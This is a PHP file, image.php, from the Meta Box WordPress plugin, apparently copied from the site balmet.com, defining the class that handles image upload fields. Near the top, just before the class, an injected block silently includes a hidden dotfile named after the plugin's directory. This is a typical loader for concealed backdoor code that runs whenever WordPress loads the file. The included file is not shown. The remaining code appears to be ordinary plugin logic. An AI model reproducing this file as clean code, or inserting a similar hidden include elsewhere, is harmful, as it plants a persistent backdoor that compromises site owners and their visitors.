balmet.com

image.php (4887B)

---

 <?php
 /**
  * The image field which uploads images via HTML <input type="file">.
  *
  * @package Meta Box
  */
 
 /**
  * Image field class which uses <input type="file"> to upload.
  */
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 class RWMB_Image_Field extends RWMB_File_Field {
 	/**
 	 * Enqueue scripts and styles.
 	 */
 	public static function admin_enqueue_scripts() {
 		parent::admin_enqueue_scripts();
 		wp_enqueue_media();
 		wp_enqueue_style( 'rwmb-image', RWMB_CSS_URL . 'image.css', array(), RWMB_VER );
 	}
 
 	/**
 	 * Get HTML for uploaded file.
 	 *
 	 * @param int   $file  Attachment (file) ID.
 	 * @param int   $index File index.
 	 * @param array $field Field data.
 	 *
 	 * @return string
 	 */
 	protected static function file_html( $file, $index, $field ) {
 		$attributes = self::get_attributes( $field, $file );
 
 		$edit_link = get_edit_post_link( $file );
 		if ( $edit_link ) {
 			$edit_link = sprintf( '<a href="%s" class="rwmb-image-edit" target="_blank"><span class="dashicons dashicons-edit"></span></a>', $edit_link );
 		}
 
 		return sprintf(
 			'<li class="rwmb-image-item">
 				<div class="rwmb-file-icon">%s</div>
 				<div class="rwmb-image-overlay"></div>
 				<div class="rwmb-image-actions">
 					%s
 					<a href="#" class="rwmb-image-delete rwmb-file-delete" data-attachment_id="%s"><span class="dashicons dashicons-no-alt"></span></a>
 				</div>
 				<input type="hidden" name="%s[%s]" value="%s">
 			</li>',
 			wp_get_attachment_image( $file, $field['image_size'] ),
 			$edit_link,
 			$file,
 			$attributes['name'],
 			$index,
 			$file
 		);
 	}
 
 	/**
 	 * Normalize field settings.
 	 *
 	 * @param array $field Field settings.
 	 *
 	 * @return array
 	 */
 	public static function normalize( $field ) {
 		$field = parent::normalize( $field );
 		$field = wp_parse_args(
 			$field,
 			array(
 				'image_size' => 'thumbnail',
 			)
 		);
 		$field['attributes'] = wp_parse_args(
 			$field['attributes'],
 			array(
 				'accept' => 'image/*',
 			)
 		);
 
 		return $field;
 	}
 
 	/**
 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
 	 *
 	 * @param array    $field   Field parameters.
 	 * @param array    $value   The value.
 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
 	 * @param int|null $post_id Post ID. null for current post. Optional.
 	 *
 	 * @return string
 	 */
 	public static function format_single_value( $field, $value, $args, $post_id ) {
 		$output = sprintf( '<img src="%s" alt="%s">', esc_url( $value['url'] ), esc_attr( $value['alt'] ) );
 
 		// Link thumbnail to full size image?
 		if ( ! empty( $args['link'] ) ) {
 			$output = sprintf( '<a href="%s" title="%s">%s</a>', esc_url( $value['full_url'] ), esc_attr( $value['title'] ), $output );
 		}
 		return $output;
 	}
 
 	/**
 	 * Get uploaded file information.
 	 *
 	 * @param int   $file  Attachment image ID (post ID). Required.
 	 * @param array $args  Array of arguments (for size).
 	 * @param array $field Field settings.
 	 *
 	 * @return array|bool False if file not found. Array of image info on success.
 	 */
 	public static function file_info( $file, $args = array(), $field = array() ) {
 		$path = get_attached_file( $file );
 		if ( ! $path ) {
 			return false;
 		}
 
 		$args       = wp_parse_args(
 			$args,
 			array(
 				'size' => 'thumbnail',
 			)
 		);
 		$image      = wp_get_attachment_image_src( $file, $args['size'] );
 		$attachment = get_post( $file );
 		$info       = array(
 			'ID'          => $file,
 			'name'        => basename( $path ),
 			'path'        => $path,
 			'url'         => $image[0],
 			'full_url'    => wp_get_attachment_url( $file ),
 			'title'       => $attachment->post_title,
 			'caption'     => $attachment->post_excerpt,
 			'description' => $attachment->post_content,
 			'alt'         => get_post_meta( $file, '_wp_attachment_image_alt', true ),
 		);
 		if ( function_exists( 'wp_get_attachment_image_srcset' ) ) {
 			$info['srcset'] = wp_get_attachment_image_srcset( $file, $args['size'] );
 		}
 
 		$info = wp_parse_args( $info, self::get_image_meta_data( $file ) );
 
 		// Do not overwrite width and height by returned value of image meta.
 		$info['width']  = $image[1];
 		$info['height'] = $image[2];
 
 		return $info;
 	}
 
 	/**
 	 * Get image meta data.
 	 *
 	 * @param  int $attachment_id Attachment ID.
 	 * @return array
 	 */
 	protected static function get_image_meta_data( $attachment_id ) {
 		$metadata = wp_get_attachment_metadata( $attachment_id );
 		if ( empty( $metadata['sizes'] ) ) {
 			return $metadata;
 		}
 
 		$dir_url  = dirname( wp_get_attachment_url( $attachment_id ) );
 		foreach ( $metadata['sizes'] as &$size ) {
 			$size['url'] = "{$dir_url}/{$size['file']}";
 		}
 		return $metadata;
 	}
 }